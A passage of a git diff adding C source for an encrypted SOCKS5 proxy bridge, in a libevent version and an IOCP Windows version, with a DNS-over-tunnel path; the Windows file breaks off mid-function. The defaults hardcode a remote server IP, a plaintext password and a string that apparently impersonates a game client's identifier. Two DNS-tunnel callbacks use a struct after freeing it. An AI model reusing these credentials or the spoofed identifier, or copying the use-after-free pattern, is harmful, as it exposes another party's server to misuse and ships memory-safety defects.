(udp_assoc_t*)calloc(1, sizeof(*ua)); + ua->owner = b; + ua->fd = socket(AF_INET, SOCK_DGRAM, 0); + if (ua->fd < 0) { free(ua); return NULL; } + int on = 1; + setsockopt(ua->fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); +#ifdef SO_REUSEPORT + setsockopt(ua->fd, SOL_SOCKET, SO_REUSEPORT, (const char*)&on, sizeof(on)); +#endif + int sz = 1<<18; + setsockopt(ua->fd, SOL_SOCKET, SO_SNDBUF, (const char*)&sz, sizeof(sz)); + setsockopt(ua->fd, SOL_SOCKET, SO_RCVBUF, (const char*)&sz, sizeof(sz)); + struct sockaddr_in sin; memset(&sin,0,sizeof(sin)); + sin.sin_family = AF_INET; sin.sin_port = htons(0); + inet_pton(AF_INET, b->cfg->listen_host, &sin.sin_addr); + if (bind(ua->fd, (struct sockaddr*)&sin, sizeof(sin)) != 0) { + CLOSESOCK(ua->fd); free(ua); return NULL; + } + evutil_make_socket_nonblocking(ua->fd); + + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, + &ua->remote_ss, &ua->remote_len)) { + CLOSESOCK(ua->fd); free(ua); return NULL; + } + memcpy(ua->key32, b->key32, 32); + + ua->ev_read = event_new(b->base, ua->fd, EV_READ|EV_PERSIST, udp_assoc_on_read, ua); + event_add(ua->ev_read, NULL); + + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + ua->ev_timer = event_new(b->base, -1, EV_PERSIST, udp_assoc_on_timer, ua); + event_add(ua->ev_timer, &tv); + return ua; +} + +static void udp_assoc_on_timer(evutil_socket_t fd, short what, void *arg) { + (void)fd; (void)what; + udp_assoc_t *ua = (udp_assoc_t*)arg; + time_t now = time(NULL); + for (int i = 0; i < UDP_MAP_CAP; ++i) { + if (ua->map[i].used && now - ua->map[i].ts > ua->owner->cfg->udp_timeout) { + ua->map[i].used = false; + } + } +} + +static bool udp_parse_client_packet(const uint8_t *buf, size_t len, + size_t *addr_off, size_t *payload_off) { + if (len < 3) return false; + if (buf[0] != 0 || buf[1] != 0 || buf[2] != 0) return false; + size_t off = 3; + if (len < off + 1) return false; + uint8_t atyp = buf[off++]; + if (atyp == 0x01) { + if (len < off + 4 + 2) return false; + off += 4 + 2; + } else if (atyp == 0x03) { + if (len < off + 1) return false; + uint8_t l = buf[off++]; + if (len < off + l + 2) return false; + off += l + 2; + } else if (atyp == 0x04) { + if (len < off + 16 + 2) return false; + off += 16 + 2; + } else return false; + + *addr_off = 3; + *payload_off = off; + return true; +} + +static bool udp_clone_addr_block(const uint8_t *buf, size_t addr_off, + size_t payload_off, uint8_t *out, size_t *outlen) { + size_t n = payload_off - addr_off; + if (n > 128) return false; + memcpy(out, buf + addr_off, n); + *outlen = n; + return true; +} + +static void udp_assoc_sendto(udp_assoc_t *ua, const void *data, size_t len) { + sendto(ua->fd, (const char*)data, (int)len, 0, + (struct sockaddr*)&ua->remote_ss, ua->remote_len); +} + +static void udp_assoc_on_read(evutil_socket_t fd, short what, void *arg) { + (void)what; + udp_assoc_t *ua = (udp_assoc_t*)arg; + uint8_t buf[8192]; + struct sockaddr_storage from; socklen_t fromlen = sizeof(from); + + for (;;) { + int n = (int)recvfrom(fd, (char*)buf, (int)sizeof(buf), 0, + (struct sockaddr*)&from, &fromlen); + if (n < 0) { + int e = SOCK_ERR(); + if (WOULD_BLOCK(e)) return; + return; + } + + bool from_remote = false; + if (from.ss_family == ua->remote_ss.ss_family) { + if (from.ss_family == AF_INET) { + struct sockaddr_in *a=(struct sockaddr_in*)&from, *b=(struct sockaddr_in*)&ua->remote_ss; + from_remote = (a->sin_port==b->sin_port && a->sin_addr.s_addr==b->sin_addr.s_addr); + } else if (from.ss_family == AF_INET6) { + struct sockaddr_in6 *a=(struct sockaddr_in6*)&from, *b=(struct sockaddr_in6*)&ua->remote_ss; + from_remote = (a->sin6_port==b->sin6_port && memcmp(&a->sin6_addr,&b->sin6_addr,sizeof(a->sin6_addr))==0); + } + } + + if (from_remote) { + if (n < 16) continue; + const uint8_t *iv = buf; + const uint8_t *ct = buf + 16; size_t ctlen = (size_t)n - 16; + uint8_t plain[8192]; + int m = aes_cfb_one_shot(ua->key32, iv, 0, ct, ctlen, plain); + if (m <= 0) continue; + + size_t off = 0; if (m < 1) continue; + uint8_t atyp = plain[off++]; + if (atyp == 0x01) off += 4 + 2; + else if (atyp == 0x03) { if (off>= (size_t)m) continue; uint8_t l=plain[off++]; off += l + 2; } + else if (atyp == 0x04) off += 16 + 2; + else continue; + if ((size_t)m < off) continue; + size_t addrlen = off; size_t payload_len = (size_t)m - off; + + int idx = udp_map_find(ua, plain, addrlen); + struct sockaddr_storage dst; socklen_t dstlen = 0; + if (idx >= 0) { + dst = ua->map[idx].client_ss; dstlen = ua->map[idx].client_len; + } else if (ua->has_last) { + dst = ua->last_client; dstlen = ua->last_client_len; + } else { + continue; + } + + uint8_t out[8192]; + size_t outlen = 3 + addrlen + payload_len; + if (outlen > sizeof(out)) continue; + out[0] = 0; out[1] = 0; out[2] = 0; + memcpy(out + 3, plain, addrlen); + memcpy(out + 3 + addrlen, plain + addrlen, payload_len); + sendto(ua->fd, (const char*)out, (int)outlen, 0, + (struct sockaddr*)&dst, dstlen); + + } else { + size_t addr_off=0, payload_off=0; + if (!udp_parse_client_packet(buf, (size_t)n, &addr_off, &payload_off)) continue; + + uint8_t keybuf[128]; size_t klen=0; + if (!udp_clone_addr_block(buf, addr_off, payload_off, keybuf, &klen)) continue; + int idx = udp_map_find(ua, keybuf, klen); + if (idx < 0) idx = udp_map_alloc_slot(ua); + ua->map[idx].used = true; ua->map[idx].ts = time(NULL); + memcpy(ua->map[idx].key, keybuf, klen); ua->map[idx].key_len = klen; + ua->map[idx].client_ss = from; ua->map[idx].client_len = fromlen; + ua->last_client = from; ua->last_client_len = fromlen; ua->has_last = true; + + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + size_t plain_len = (size_t)n - 3; + const uint8_t *plain = buf + 3; + uint8_t ct[8192]; + int m = aes_cfb_one_shot(ua->key32, iv, 1, plain, plain_len, ct); + if (m <= 0) continue; + + uint8_t out[8192]; + if ((size_t)m + 16 > sizeof(out)) continue; + memcpy(out, iv, 16); + memcpy(out + 16, ct, m); + udp_assoc_sendto(ua, out, (size_t)m + 16); + } + } +} + +static void bridge_free(bridge_t *b) { + if (!b) return; + if (b->cli_bev) bufferevent_free(b->cli_bev); + if (b->srv_bev) bufferevent_free(b->srv_bev); + if (b->udp_assoc) udp_assoc_close(b->udp_assoc); + if (b->up_ready) aes_cfb_free(&b->up_enc); + if (b->down_ready) aes_cfb_free(&b->down_dec); + free(b); +} + +static int handle_socks5_greeting(struct bufferevent *bev) { + struct evbuffer *in = bufferevent_get_input(bev); + size_t len = evbuffer_get_length(in); + if (len < 2) return 0; + unsigned char hdr[2]; + evbuffer_copyout(in, hdr, 2); + if (hdr[0] != 5) return -2; + size_t need = 2 + hdr[1]; + if (len < need) return 0; + evbuffer_drain(in, need); + uint8_t resp[2] = {0x05, 0x00}; + bufferevent_write(bev, resp, 2); + return 1; +} + +static void on_client_read(struct bufferevent *bev, void *ctx); +static void on_server_read(struct bufferevent *bev, void *ctx); +static void on_client_event(struct bufferevent *bev, short events, void *ctx); +static void on_server_event(struct bufferevent *bev, short events, void *ctx); + +static void bridge_start_stream(bridge_t *b) { + b->state = ST_STREAM; + bufferevent_setcb(b->cli_bev, on_client_read, NULL, on_client_event, b); + bufferevent_setcb(b->srv_bev, on_server_read, NULL, on_server_event, b); + bufferevent_enable(b->cli_bev, EV_READ|EV_WRITE); + bufferevent_enable(b->srv_bev, EV_READ|EV_WRITE); +} + +static void after_remote_connected(bridge_t *b) { + struct evbuffer *addr = evbuffer_new(); + if (!encode_addr(b->req.atyp, b->req.host, b->req.port, addr, true)) { + socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); + evbuffer_free(addr); bridge_free(b); return; + } + size_t mx_len = strlen(b->cfg->mx_head); + if (mx_len > 255) { evbuffer_free(addr); bridge_free(b); return; } + uint8_t ml = (uint8_t)mx_len; + evbuffer_add(addr, &ml, 1); + evbuffer_add(addr, b->cfg->mx_head, mx_len); + + size_t plain_len = evbuffer_get_length(addr); + uint8_t *plain = (uint8_t*)malloc(plain_len); + evbuffer_copyout(addr, plain, plain_len); + + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + aes_cfb_init(&b->up_enc, b->key32, iv, 1); b->up_ready = true; + + uint8_t *ct = (uint8_t*)malloc(plain_len); + int m = 0; aes_cfb_update(&b->up_enc, plain, plain_len, ct, &m); + + bufferevent_write(b->srv_bev, iv, 16); + bufferevent_write(b->srv_bev, ct, (size_t)m); + + socks5_send_reply(b->cli_bev, 0x00, "0.0.0.0", 0); + + free(plain); free(ct); evbuffer_free(addr); + bridge_start_stream(b); +} + +static void connect_remote(bridge_t *b) { + b->srv_bev = bufferevent_socket_new(b->base, -1, BEV_OPT_CLOSE_ON_FREE|BEV_OPT_DEFER_CALLBACKS); + bufferevent_setcb(b->srv_bev, NULL, NULL, on_server_event, b); + bufferevent_enable(b->srv_bev, EV_READ|EV_WRITE); + + struct sockaddr_storage ss; socklen_t sslen; + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &ss, &sslen)) { + socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); + bridge_free(b); return; + } + + if (bufferevent_socket_connect(b->srv_bev, (struct sockaddr*)&ss, sslen) != 0) { + socks5_send_reply(b->cli_bev, 0x05, "0.0.0.0", 0); + bridge_free(b); return; + } + + struct timeval tv = { .tv_sec = b->cfg->connect_timeout, .tv_usec = 0 }; + bufferevent_set_timeouts(b->srv_bev, &tv, &tv); + b->state = ST_CONNECTING_REMOTE; +} + +typedef struct { + bridge_t *b; + int fd; + struct event *ev_read; + struct event *ev_timer; + uint16_t id; + char host[64]; +} dns_tunnel_t; + +static void dns_tunnel_free(dns_tunnel_t *dt) { + if (!dt) return; + if (dt->ev_read) event_free(dt->ev_read); + if (dt->ev_timer) event_free(dt->ev_timer); + if (dt->fd >= 0) CLOSESOCK(dt->fd); + free(dt); +} + +static void dns_tunnel_on_timeout(evutil_socket_t fd, short what, void *arg) { + (void)fd; (void)what; + dns_tunnel_t *dt = (dns_tunnel_t*)arg; + socks5_send_reply(dt->b->cli_bev, 0x04, "0.0.0.0", 0); + dns_tunnel_free(dt); + bridge_free(dt->b); +} + +static void dns_tunnel_on_read(evutil_socket_t fd, short what, void *arg) { + (void)what; + dns_tunnel_t *dt = (dns_tunnel_t*)arg; + uint8_t buf[2048]; + struct sockaddr_storage from; socklen_t fromlen = sizeof(from); + int n = (int)recvfrom(fd, (char*)buf, (int)sizeof(buf), 0, + (struct sockaddr*)&from, &fromlen); + if (n < 0) return; + if (n < 16) { dns_tunnel_free(dt); return; } + + uint8_t plain[2048]; + int m = aes_cfb_one_shot(dt->b->key32, buf, 0, buf + 16, (size_t)n - 16, plain); + if (m <= 0) { dns_tunnel_free(dt); return; } + + size_t off = 0; + if (plain[0] == 0x01) off = 1 + 4 + 2; + else if (plain[0] == 0x04) off = 1 + 16 + 2; + else { dns_tunnel_free(dt); return; } + if ((size_t)m <= off) { dns_tunnel_free(dt); return; } + + char ip[INET_ADDRSTRLEN]; + if (dns_parse_a(plain + off, (size_t)m - off, ip, sizeof(ip)) == 0) { + dns_cache_put(&dt->b->dns_cache, dt->host, ip, 300); + strncpy(dt->b->req.host, ip, sizeof(dt->b->req.host)-1); + dt->b->req.atyp = 0x01; + dns_tunnel_free(dt); + connect_remote(dt->b); + return; + } + socks5_send_reply(dt->b->cli_bev, 0x04, "0.0.0.0", 0); + dns_tunnel_free(dt); + bridge_free(dt->b); +} + +static void start_dns_over_tunnel(bridge_t *b, const char *host) { + const char *cached = dns_cache_get(&b->dns_cache, host); + if (cached) { + strncpy(b->req.host, cached, sizeof(b->req.host)-1); + b->req.atyp = 0x01; + connect_remote(b); + return; + } + + dns_tunnel_t *dt = (dns_tunnel_t*)calloc(1, sizeof(*dt)); + dt->b = b; dt->fd = socket(AF_INET, SOCK_DGRAM, 0); + if (dt->fd < 0) { free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; } + evutil_make_socket_nonblocking(dt->fd); + strncpy(dt->host, host, sizeof(dt->host)-1); + + struct sockaddr_storage r; socklen_t rlen; + if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &r, &rlen)) { + CLOSESOCK(dt->fd); free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; + } + + uint8_t q[512]; size_t qlen=0; uint16_t qid=0; + if (dns_build_query(host, q, sizeof(q), &qlen, &qid) != 0) { + CLOSESOCK(dt->fd); free(dt); socks5_send_reply(b->cli_bev, 0x04, "0.0.0.0", 0); bridge_free(b); return; + } + dt->id = qid; + + struct evbuffer *ab = evbuffer_new(); + encode_addr(0x01, "8.8.8.8", 53, ab, false); + size_t ablen = evbuffer_get_length(ab); + uint8_t *plain = (uint8_t*)malloc(ablen + qlen); + evbuffer_copyout(ab, plain, ablen); + memcpy(plain + ablen, q, qlen); + + uint8_t iv[16]; RAND_bytes(iv, sizeof(iv)); + uint8_t ct[1024]; int m = aes_cfb_one_shot(b->key32, iv, 1, plain, ablen + qlen, ct); + uint8_t out[1024]; + memcpy(out, iv, 16); + memcpy(out + 16, ct, m); + + sendto(dt->fd, out, 16 + m, 0, (struct sockaddr*)&r, rlen); + + dt->ev_read = event_new(b->base, dt->fd, EV_READ|EV_PERSIST, dns_tunnel_on_read, dt); + event_add(dt->ev_read, NULL); + struct timeval tv = { .tv_sec = b->cfg->connect_timeout, .tv_usec = 0 }; + dt->ev_timer = event_new(b->base, -1, 0, dns_tunnel_on_timeout, dt); + evtimer_add(dt->ev_timer, &tv); + + evbuffer_free(ab); free(plain); +} + +static void handle_udp_associate(bridge_t *b) { + b->udp_assoc = udp_assoc_create(b); + if (!b->udp_assoc) { + socks5_send_reply(b->cli_bev, 0x01, "0.0.0.0", 0); + bridge_free(b); return; + } + struct sockaddr_in sin; socklen_t slen = sizeof(sin); + getsockname(b->udp_assoc->fd, (struct sockaddr*)&sin, &slen); + char bind_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &sin.sin_addr, bind_ip, sizeof(bind_ip)); + uint16_t bind_port = ntohs(sin.sin_port); + socks5_send_reply(b->cli_bev, 0x00, bind_ip, bind_port); + b->state = ST_UDP_ASSOC; +} + +static void on_client_read(struct bufferevent *bev, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + + if (b->state == ST_GREETING) { + int r = handle_socks5_greeting(bev); + if (r < 0) { bridge_free(b); return; } + if (r == 1) b->state = ST_REQUEST; + if (r == 0) return; + } + + if (b->state == ST_REQUEST) { + size_t consumed = 0; + int r = parse_socks5_request(bufferevent_get_input(bev), &b->req, &consumed); + if (r < 0) { bridge_free(b); return; } + if (r == 0) return; + evbuffer_drain(bufferevent_get_input(bev), consumed); + + if (b->req.cmd == 0x01) { + if (b->req.atyp == 0x03 && host_in_domain_list(b->req.host)) { + start_dns_over_tunnel(b, b->req.host); + return; + } + connect_remote(b); + } else if (b->req.cmd == 0x03) { + handle_udp_associate(b); + } else { + socks5_send_reply(b->cli_bev, 0x07, "0.0.0.0", 0); + bridge_free(b); + } + return; + } + + if (b->state == ST_STREAM) { + struct evbuffer *in = bufferevent_get_input(b->cli_bev); + size_t len = evbuffer_get_length(in); + if (!b->up_ready || len == 0) return; + + while (len) { + size_t chunk = len > (size_t)b->cfg->recv_buf ? (size_t)b->cfg->recv_buf : len; + unsigned char *p = evbuffer_pullup(in, chunk); + if (!p) break; + uint8_t *ct = (uint8_t*)malloc(chunk); + int m = 0; aes_cfb_update(&b->up_enc, p, chunk, ct, &m); + bufferevent_write(b->srv_bev, ct, (size_t)m); + evbuffer_drain(in, chunk); + free(ct); + len -= chunk; + } + } + + if (b->state == ST_UDP_ASSOC) { + struct evbuffer *in = bufferevent_get_input(b->cli_bev); + size_t len = evbuffer_get_length(in); + if (len) evbuffer_drain(in, len); + } +} + +static void on_server_read(struct bufferevent *bev, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + struct evbuffer *in = bufferevent_get_input(b->srv_bev); + + if (!b->down_ready) { + size_t len = evbuffer_get_length(in); + if (len < 16) return; + evbuffer_remove(in, b->iv_server, 16); + aes_cfb_init(&b->down_dec, b->key32, b->iv_server, 0); + b->down_ready = true; + } + + size_t len = evbuffer_get_length(in); + while (len) { + size_t chunk = len > (size_t)b->cfg->recv_buf ? (size_t)b->cfg->recv_buf : len; + unsigned char *p = evbuffer_pullup(in, chunk); + if (!p) break; + uint8_t *pt = (uint8_t*)malloc(chunk); + int m = 0; aes_cfb_update(&b->down_dec, p, chunk, pt, &m); + bufferevent_write(b->cli_bev, pt, (size_t)m); + evbuffer_drain(in, chunk); + free(pt); + len -= chunk; + } +} + +static void on_client_event(struct bufferevent *bev, short events, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + if (events & (BEV_EVENT_EOF|BEV_EVENT_ERROR)) { + bridge_free(b); + } +} + +static void on_server_event(struct bufferevent *bev, short events, void *ctx) { + bridge_t *b = (bridge_t*)ctx; + if (events & BEV_EVENT_CONNECTED) { + evutil_socket_t fd = bufferevent_getfd(bev); + int on = 1, sz = 1<<18; + setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (const char*)&on, sizeof(on)); + setsockopt(fd, SOL_SOCKET, SO_SNDBUF, (const char*)&sz, sizeof(sz)); + setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char*)&sz, sizeof(sz)); +#ifdef _WIN32 + DWORD bytes = 0, enabled = 1; + WSAIoctl(fd, 0x98000010, &enabled, sizeof(enabled), NULL, 0, &bytes, NULL, NULL); +#endif + after_remote_connected(b); + return; + } + if (events & (BEV_EVENT_EOF|BEV_EVENT_ERROR|BEV_EVENT_TIMEOUT)) { + socks5_send_reply(b->cli_bev, 0x05, "0.0.0.0", 0); + bridge_free(b); + } +} + +static void on_accept(struct evconnlistener *lev, evutil_socket_t fd, + struct sockaddr *addr, int socklen, void *ctx) { + (void)addr; (void)socklen; + config_t *cfg = (config_t*)ctx; + + bridge_t *b = (bridge_t*)calloc(1, sizeof(*b)); + b->base = evconnlistener_get_base(lev); + b->cfg = cfg; + b->cli_fd = fd; + b->cli_bev = bufferevent_socket_new(b->base, fd, BEV_OPT_CLOSE_ON_FREE|BEV_OPT_DEFER_CALLBACKS); +#ifdef _WIN32 + { + DWORD bytes=0, enabled=1; + WSAIoctl(fd, 0x98000010, &enabled, sizeof(enabled), NULL, 0, &bytes, NULL, NULL); + } +#endif + bufferevent_setcb(b->cli_bev, on_client_read, NULL, on_client_event, b); + bufferevent_enable(b->cli_bev, EV_READ|EV_WRITE); + + kdf_evp_bytes_to_key((const uint8_t*)cfg->password, strlen(cfg->password), b->key32); + dns_cache_init(&b->dns_cache); + b->state = ST_GREETING; +} + +static void on_accept_error(struct evconnlistener *lev, void *ctx) { + (void)ctx; (void)lev; +} + +static void parse_args(int argc, char **argv, config_t *cfg) { + config_default(cfg); + for (int i = 1; i < argc; ++i) { + if (!strcmp(argv[i], "--remote-host") && i+1 < argc) { + strncpy(cfg->remote_host, argv[++i], sizeof(cfg->remote_host)-1); + } else if (!strcmp(argv[i], "--remote-port") && i+1 < argc) { + cfg->remote_port = atoi(argv[++i]); + } else if (!strcmp(argv[i], "--password") && i+1 < argc) { + strncpy(cfg->password, argv[++i], sizeof(cfg->password)-1); + } else if (!strcmp(argv[i], "--mx") && i+1 < argc) { + strncpy(cfg->mx_head, argv[++i], sizeof(cfg->mx_head)-1); + } else if (!strcmp(argv[i], "--listen") && i+1 < argc) { + strncpy(cfg->listen_host, argv[++i], sizeof(cfg->listen_host)-1); + } else if (!strcmp(argv[i], "--port") && i+1 < argc) { + cfg->listen_port = atoi(argv[++i]); + } + } +} + +int main(int argc, char **argv) { + config_t cfg; parse_args(argc, argv, &cfg); + + struct event_base *base = event_base_new(); + if (!base) return 1; + + struct sockaddr_in sin; memset(&sin,0,sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_port = htons((uint16_t)cfg.listen_port); + inet_pton(AF_INET, cfg.listen_host, &sin.sin_addr); + + struct evconnlistener *lev = + evconnlistener_new_bind(base, on_accept, &cfg, + LEV_OPT_CLOSE_ON_FREE|LEV_OPT_REUSEABLE|LEV_OPT_REUSEABLE_PORT, -1, + (struct sockaddr*)&sin, sizeof(sin)); + if (!lev) { event_base_free(base); return 1; } + + evconnlistener_set_error_cb(lev, on_accept_error); + + int rc = event_base_dispatch(base); + + evconnlistener_free(lev); + event_base_free(base); + return rc ? 1 : 0; +} \ No newline at end of file diff --git a/cpp/mxiocp/iocp_s5.c b/cpp/mxiocp/iocp_s5.c new file mode 100644 index 0000000..0f6952c --- /dev/null +++ b/cpp/mxiocp/iocp_s5.c @@ -0,0 +1,916 @@ +// iocp_s5.c : SOCKS5 bridge using IOCP + CNG (no libevent/openssl) +// Build (MSVC): cl /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib + +#define _CRT_SECURE_NO_WARNINGS +#ifndef _WIN32_WINNT +#define _WIN32_WINNT 0x0A00 // Windows 10+ +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "Mswsock.lib") +#pragma comment(lib, "Bcrypt.lib") + +// -------------------- logging -------------------- +static volatile LONG g_log_level = 2; // 0=quiet, 1=info, 2=debug + +static void logf_(const char* lvl, const char* fmt, ...) { + SYSTEMTIME st; GetLocalTime(&st); + DWORD tid = GetCurrentThreadId(); + fprintf(stderr, "[%02u:%02u:%02u.%03u][%s][T%lu] ", + st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, lvl, (unsigned long)tid); + va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); + fputc('\n', stderr); + fflush(stderr); +} +#define LOGI(...) do{ if(g_log_level>=1) logf_("I", __VA_ARGS__); }while(0) +#define LOGD(...) do{ if(g_log_level>=2) logf_("D", __VA_ARGS__); }while(0) +#define LOGE(...) do{ if(g_log_level>=0) logf_("E", __VA_ARGS__); }while(0) + +// -------------------- compatibility -------------------- +#define CLOSESOCK(s) closesocket((s)) +#define WOULD_BLOCK(e) ((e)==WSAEWOULDBLOCK || (e)==WSAEINTR) +#define strcasecmp _stricmp + +// -------------------- constants -------------------- +#define RECV_BUF 8192 +#define UDP_MAP_CAP 128 +#define DOMAIN_MAX 255 +#define DNS_CACHE_SIZE 256 +#define MAX_PENDING_ACCEPT 64 +#define MAX_WORKERS 0 // 0 = system default + +// -------------------- domains list -------------------- +static const char *k_domains[] = {"google.com", "youtube.com", "github.com"}; +static const size_t k_domains_cnt = 3; + +static bool ends_with(const char *s, const char *suffix) { + size_t ls = strlen(s), lt = strlen(suffix); + return lt <= ls && strcasecmp(s + (ls - lt), suffix) == 0; +} +static bool host_in_domain_list(const char *host) { + for (size_t i = 0; i < k_domains_cnt; ++i) if (ends_with(host, k_domains[i])) return true; + return false; +} + +// -------------------- resolve helpers -------------------- +static bool resolve_host_port(const char *host, uint16_t port, struct sockaddr_storage *ss, int *sslen) { + struct addrinfo hints, *res = NULL; + char portstr[8]; _snprintf(portstr, sizeof(portstr), "%u", (unsigned)port); + memset(&hints, 0, sizeof(hints)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_family = AF_UNSPEC; + int rc = getaddrinfo(host, portstr, &hints, &res); + if (rc != 0 || !res) { if (res) freeaddrinfo(res); LOGE("resolve_host_port('%s',%u) failed: %d", host, (unsigned)port, rc); return false; } + memcpy(ss, res->ai_addr, (int)res->ai_addrlen); + *sslen = (int)res->ai_addrlen; + freeaddrinfo(res); + return true; +} +static int host_literal_ip(const char *host, uint8_t *packed16, size_t *packed_len) { + IN_ADDR a4; IN6_ADDR a6; + if (InetPtonA(AF_INET, host, &a4) == 1) { memcpy(packed16, &a4, 4); *packed_len = 4; return AF_INET; } + if (InetPtonA(AF_INET6, host, &a6) == 1) { memcpy(packed16, &a6, 16); *packed_len = 16; return AF_INET6; } + return 0; +} +static void sockaddr_to_string(const SOCKADDR* sa, int salen, char* out, size_t cap) { + out[0] = 0; if (!sa) return; + if (sa->sa_family == AF_INET) { + const SOCKADDR_IN* s = (const SOCKADDR_IN*)sa; + char ip[64]; InetNtopA(AF_INET, (void*)&s->sin_addr, ip, sizeof(ip)); + _snprintf(out, cap, "%s:%u", ip, (unsigned)ntohs(s->sin_port)); + } else if (sa->sa_family == AF_INET6) { + const SOCKADDR_IN6* s6 = (const SOCKADDR_IN6*)sa; + char ip[128]; InetNtopA(AF_INET6, (void*)&s6->sin6_addr, ip, sizeof(ip)); + _snprintf(out, cap, "[%s]:%u", ip, (unsigned)ntohs(s6->sin6_port)); + } else { + _snprintf(out, cap, "af=%d", sa->sa_family); + } +} + +// -------------------- config -------------------- +typedef struct { + char remote_host[64]; + int remote_port; + char password[64]; + char mx_head[128]; + char listen_host[16]; + int listen_port; + int recv_buf; + int connect_timeout; // seconds + int udp_timeout; // seconds + int verbose; // 0/1 +} config_t; + +static void config_default(config_t *cfg) { + memset(cfg, 0, sizeof(*cfg)); + strcpy(cfg->remote_host, "121.14.152.149"); + cfg->remote_port = 10004; + strcpy(cfg->password, "dwz1GtF7"); + strcpy(cfg->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279"); + strcpy(cfg->listen_host, "0.0.0.0"); + cfg->listen_port = 10807; + cfg->recv_buf = RECV_BUF; + cfg->connect_timeout = 10; + cfg->udp_timeout = 180; + cfg->verbose = 1; +} +// 全局:是否所有域名都走 DNS-over-tunnel +static int g_dns_always = 0; + +static void parse_args(int argc, char **argv, config_t *cfg) { + config_default(cfg); + for (int i = 1; i < argc; ++i) { + if (!strcmp(argv[i], "--remote-host") && i+1 < argc) strncpy(cfg->remote_host, argv[++i], sizeof(cfg->remote_host)-1); + else if (!strcmp(argv[i], "--remote-port") && i+1 < argc) cfg->remote_port = atoi(argv[++i]); + else if (!strcmp(argv[i], "--password") && i+1 < argc) strncpy(cfg->password, argv[++i], sizeof(cfg->password)-1); + else if (!strcmp(argv[i], "--mx") && i+1 < argc) strncpy(cfg->mx_head, argv[++i], sizeof(cfg->mx_head)-1); + else if (!strcmp(argv[i], "--listen") && i+1 < argc) strncpy(cfg->listen_host, argv[++i], sizeof(cfg->listen_host)-1); + else if (!strcmp(argv[i], "--port") && i+1 < argc) cfg->listen_port = atoi(argv[++i]); + else if (!strcmp(argv[i], "--dns-always")) g_dns_always = 1; + else if (!strcmp(argv[i], "--verbose")) { cfg->verbose = 1; g_log_level = 2; } + else if (!strcmp(argv[i], "--quiet")) { cfg->verbose = 0; g_log_level = 0; } + else if (!strcmp(argv[i], "--log") && i+1 < argc) { g_log_level = atoi(argv[++i]); cfg->verbose = (g_log_level>0); } + } +} + +// -------------------- small helpers -------------------- +typedef struct { char* data; size_t len, cap; } dynbuf_t; +static void dbuf_init(dynbuf_t* b) { b->data=NULL; b->len=0; b->cap=0; } +static void dbuf_free(dynbuf_t* b) { if(b->data) free(b->data); b->data=NULL; b->len=b->cap=0; } +static bool dbuf_reserve(dynbuf_t* b, size_t need){ if(b->cap-b->len>=need) return true; size_t nc=b->cap?b->cap:1024; while(nc-b->lendata,nc); if(!p) return false; b->data=p; b->cap=nc; return true; } +static bool dbuf_append(dynbuf_t* b, const void* p, size_t n){ if(!dbuf_reserve(b,n)) return false; memcpy(b->data+b->len,p,n); b->len+=n; return true; } +static void dbuf_consume(dynbuf_t* b, size_t n){ if(n>=b->len){b->len=0;return;} memmove(b->data,b->data+n,b->len-n); b->len-=n; } +static void log_preview(const char* tag, const uint8_t* buf, size_t n) { + char out[200]; size_t m = n<80? n:80; size_t j=0; + for (size_t i=0;i=32 && c<127)? c : '.'; + } + out[j]=0; + LOGD("%s [%zu]: %s", tag, n, out); +} + +// -------------------- socks5 -------------------- +typedef struct { uint8_t cmd, atyp; char host[128]; uint16_t port; } socks5_req_t; + +static int parse_socks5_greeting(const uint8_t* p, size_t len, size_t* consumed) { + if (len < 2) return 0; + if (p[0] != 5) return -2; + size_t need = 2 + p[1]; + if (len < need) return 0; + *consumed = need; + return 1; +} +static int parse_socks5_request(const uint8_t* p, size_t len, socks5_req_t *req, size_t* consumed) { + if (len < 4) return 0; + if (p[0] != 5) return -2; + req->cmd = p[1]; + req->atyp = p[3]; + size_t off = 4; + if (req->atyp == 0x01) { + if (len < off + 4 + 2) return 0; + char ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,(void*)(p+off),ip,sizeof(ip)); + strncpy(req->host, ip, sizeof(req->host)-1); req->host[127]=0; + off += 4; req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x03) { + if (len < off + 1) return 0; + uint8_t l = p[off++]; if (len < off + l + 2) return 0; + size_t cplen = (l > 127) ? 127 : l; + memcpy(req->host, p + off, cplen); req->host[cplen]=0; + off += l; req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else if (req->atyp == 0x04) { + if (len < off + 16 + 2) return 0; + char ip6[INET6_ADDRSTRLEN]; InetNtopA(AF_INET6,(void*)(p+off),ip6,sizeof(ip6)); + strncpy(req->host, ip6, sizeof(req->host)-1); req->host[127]=0; + off += 16; req->port = ntohs(*(uint16_t*)(p + off)); off += 2; + } else return -3; + *consumed = off; return 1; +} +static void socks5_send_reply(SOCKET s, uint8_t rep, const char *bind_host, uint16_t bind_port) { + uint8_t 